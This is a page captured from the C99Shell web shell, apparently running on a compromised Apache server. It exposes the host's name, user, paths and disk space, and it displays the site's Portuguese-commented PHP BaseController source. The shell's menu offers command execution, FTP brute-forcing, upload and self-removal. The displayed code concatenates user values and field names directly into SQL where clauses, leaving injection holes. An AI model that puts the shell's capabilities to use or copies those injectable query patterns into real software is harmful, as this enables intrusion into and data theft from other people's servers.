!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/controller/   drwxr-xr-x
Free 9.25 GB of 93.48 GB (9.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BaseController.php (13.69 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class BaseController{

    protected 
$connection;
    protected 
$table;
    protected 
$modelName "";

    
/**
     * Construtor principal da camada de controle
     * Inicia a conexao com a base dados, retornando a tabela (modelo) atual
     * @param String $modelName    Nome do modelo a ser setado
     */
    
public function __construct($modelName=null) {
        
$this->connection Doctrine_Manager::connection();
        
$this->modelName $modelName;
        if(
$modelName != null){
            
$this->table $this->connection->getTable($this->modelName);
        }
    }


    
/**
     * Seta a conexão para o modelo especificado
     * @param String $modelName    Nome do modelo a ser setado
     *
     * @return void
     */
    
public function setConnection($modelName) {
        
$this->modelName $modelName;
        
$this->connection Doctrine_Manager::connection();
        
$this->table $this->connection->getTable($this->modelName);
    }

    
    
/**
     * Salva o modelo (Objeto Atual)
     * @param Object  $object    Cópia do modelo a ser salvo
     * @param boolean $related   Informa se o modelo possui relacionamentos a serem salvos 
     * 
     * @return boolean
     */
    
public function saveObject($object$related=null) {
        if (
$related)
            foreach (
$related as $relation => $descriptor) {
                if (
$descriptor["type"] == "many") {
                    for (
$x 0$x count($descriptor["value"]); $x++) {
                        
$arr = & $object->$relation;
                        
$arr[$x] = $descriptor["value"][$x];
                    }
                }else{
                    
// verifica a existência da tabela
                    
$testTable $this->connection->getTable($descriptor["table"]);
                    
$foreign_key $descriptor["foreign_key"];
                    
$test $testTable->find($descriptor["value"]["$foreign_key"]);
                    (
is_object($test)) ? $object->$descriptor["local_key"] = $descriptor["value"]["$foreign_key"] : $object->$relation $descriptor["value"];
                }
            }
        return 
$object->save();
    }


    
/**
     * Atualiza o modelo (Objeto Atual)
     * @param Object $objectId  Identificador do objeto atual
     * @param array  $fields     Array de campos a serem atualizados
     *
     * @return boolean
     */
    
public function update($objectId$fields) {
        
$existing $this->getObject($objectId);
        if (!
$existing)
            return;
        foreach (
$fields as $key => $val) {
            if (
$existing->$key != $val) {
                if (
$val === null && $existing->$key !== null)
                    continue;
                
$existing->$key $val;
            }
        }
        return 
$existing->save();
    }


    
/**
     * Exclui um objeto
     * @param Object  $object    Referencia do modelo a ser excluido
     *
     * @return boolean
     */
    
public function delete($object) {
        
$existing $this->getObject($object->id);
        if (!
$existing)
            return;
        return 
$existing->delete();
    }


    
/**
     * Retorna o objeto através do identificador
     * @param Integer  $objectId    Identificador do objeto
     *
     * @return Object
     */
    
public function getObject($objectId) {
        return 
$this->table->find($objectId);
    }


    
/**
     * Retorna o(s) objeto(s) através do campo informado
     * @param String   $field       Nome do campo a ser pesquisado
     * @param Object   $value       Valor a ser comparado
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     * @param String   $order       Ordenação do resultado
     *
     * @return mixed
     */
    
public function getObjectByField($field$value$paged=false$limit=0$offset=0$order=0) {
        
$q Doctrine_Query::create()
                        ->
select("x.*")
                        ->
where("x.$field = '$value'")
                        ->
from($this->modelName " x");
        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
         if(
$order){
            
$q->orderBy($order);
        }
    if (
$field=='status') {
    }
        
$count 0;
        
$result $q->fetchArray();
        
$arrayReturn = array();
        foreach(
$result as $object){
            
$arrayReturn[$count] = $this->table->find($object['id']);
            
$count++;
        }

        return 
$arrayReturn;
    }


    
/**
     * Retorna o(s) objeto(s) através dos campos informados
     * @param Array    $fields      Array com os nomes dos campos a serem pesquisados
     * @param Array    $values      Array com os valores a serem comparados
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     * @param String   $order       Ordenação do resultado
     *
     * @return mixed
     */
    
public function getObjectByFields($fields$values$paged=false$limit=0$offset=0$order=0) {
        
$q Doctrine_Query::create()->select("x.*");

        if (
$fields[0] && $values[0])
            
$q->where("x." $fields[0] . " = '" $values[0] . "'");

        for (
$x 1$x count($fields); $x++)
            if (
$values[$x] !== null)
                
$q->andWhere("x." $fields[$x] . " = '" $values[$x] . "'");

        
$q->from($this->modelName " x");

        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if(
$order == "RAND()"){
            
$q->orderBy("rand()");
        }else{
            
$q->orderBy("x.".$order);
        }
        
$count 0;
        
$result $q->fetchArray();
        
$arrayReturn = array();
        foreach(
$result as $object){
            
$arrayReturn[$count] = $this->table->find($object['id']);
            
$count++;
        }
        return 
$arrayReturn;
    }


    
/**
     * Retorna o(s) objeto(s) através dos campos informados pela area de busca
     * @param Array    $fields      Array com os nomes dos campos a serem pesquisados
     * @param Array    $values      Array com os valores a serem comparados
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     * @param String   $order       Ordenação do resultado
     *
     * @return Array
     */
    
public function getObjectsForSearch($fields$value$paged=false$limit=0$offset=0$order=0) {
        
$q Doctrine_Query::create()->select("x.*");
        
$q->from($this->modelName " x");
        if (
$fields[0])
            
$q->where("x." $fields[0] . " LIKE '%" $value "%'");
        for (
$x 1$x count($fields); $x++)
           
$q->orWhere("x." $fields[$x] . " LIKE '%" $value "%'");
        
        if (
$paged){
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if(
$order){
            
$q->orderBy($order);
        }
        
$count 0;
        
$result $q->fetchArray();
        
$arrayReturn = array();
        foreach(
$result as $object){
            
$arrayReturn[$count] = $this->table->find($object['id']);
            
$count++;
        }
        return 
$arrayReturn;
    }



    
/**
     * Retorna o objeto e seus relacionamentos através do campo informado
     * @param String   $field       Nome do campo a ser pesquisado
     * @param Integer  $objectId    Identificador do registro a ser pesquisado
     * @param Object   $value       Valor a ser comparado
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     *
     * @return mixed
     */
    
public function getRelated($field$objectId$paged=false$limit=0$offset=0) {
        
//    available relations:
        //        Alias: cliente, Type: one

        
$rel $this->table->getRelation($field);
        
$q Doctrine_Query::create()
                        ->
select("x.*")
                        ->
from($rel->getClass() . " x");

        if (
$rel->getType() == Doctrine_Relation::MANY) {
            
$q->where($rel->getForeignFieldName() . " = $clientecontador_id");
        } else {
            
$foreignRelations $this->connection->getTable($rel->getClass())->getRelations();
            
$foreignRelation null;

            foreach (
$foreignRelations as $key => $value) {
                if (
$value->getClass() == $this->modelName) {
                    
$foreignRelation $value->getAlias();
                    break;
                }
            }
            
$q->leftJoin("x.$foreignRelation y")
                    ->
where("y." $rel->getForeign() . " = $clientecontador_id");
        }

        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        
$result $q->execute();
        return (
$rel->getType() == Doctrine_Relation::ONE) ? $result[0] : $result;
    }


    
/**
     * Retorna todos os objetos
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     *
     * @return mixed
     */
    
public function getAllObjects($paged=false$limit=0$offset=0$order="id DESC") {
        
$q Doctrine_Query::create()->select("*")->from($this->modelName ." x");
        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if (
$order) {
            
$q->orderBy($order);
        }
        
$count 0;
        
$result $q->fetchArray();
        
$arrayReturn = array();
        foreach(
$result as $object){
            
$arrayReturn[$count] = $this->table->find($object['id']);
            
$count++;
        }
        return 
$arrayReturn;
    }
    
    
    
    
/**
     * Retorna todos os objetos sem as relações
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     *
     * @return mixed
     */
    
public function getAllObjectsSimple($paged=false$limit=0$offset=0$order="id DESC") {
        
$q Doctrine_Query::create()->select("*")->from($this->modelName);
        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if (
$order) {
            
$q->orderBy($order);
        }
        
$count 0;
        return 
$q->fetchArray();
    }


     
/**
     * Retorna um array com todos os objetos
     * @param Boolean  $paged       Se o resultado deve ser paginado
     * @param Integer  $limit       Limite de registros a ser retornado, funciona com $paged = true
     * @param Integer  $offset      Início da listagem, funciona com $paged = true
     *
     * @return Array
     */
    
public function getArrayObjects($paged=false$limit=0$offset=0$order="id DESC") {
        
$q Doctrine_Query::create()->select("*")->from($this->modelName);
        if (
$paged) {
            if (
$limit)
                
$q->limit($limit);
            if (
$offset)
                
$q->offset($offset);
        }
        if (
$order) {
            
$q->orderBy($order);
        }
        return 
$q->fetchArray();
    }


    
/**
     * Retorna o número total de registros gravados
     *
     * @return Integer
     */
    
public function countObjects() {
        return 
$this->table->count();
    }


    
/**
     * Retorna o número de relações existentes par ao objeto
     * @param String   $field       Nome do campo a ser pesquisado
     * @param Integer  $objectId    Identificador do registro a ser pesquisado
     *
     * @return Integer
     */
    
public function countRelated($field$objectId) {
        
$related $this->getRelated($field$objectId);
        return 
get_class($related) != "Doctrine_Collection" $related->count();
    }


    
/**
     * Retorna o valor do último identificador do objeto gravado
     *
     * @return Integer
     */
    
public function getLastId() {
        
$q Doctrine_Query::create()->select("id")->from($this->modelName)->orderBy("id DESC")->limit(1);
        
$obj $q->fetchArray();
        return 
$obj[0]['id'];
    }

    public function 
getAllRCPNS()
    {
        
$q Doctrine_Query::create()->select("*")
        ->
from($this->modelName)
        ->
where("CON_Tabeliao = ?",array("S"))
        ->
andWhere("CON_Descricao != ?", array("DESATIVADO"))
        ->
andWhere("CON_AtivoSN = ?", array("S"))
        ->
andWhere("CON_Email != ?", array("email@anoregpr.org.br"))
        ->
orderBy("id DESC");
        return 
$q->fetchArray();
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--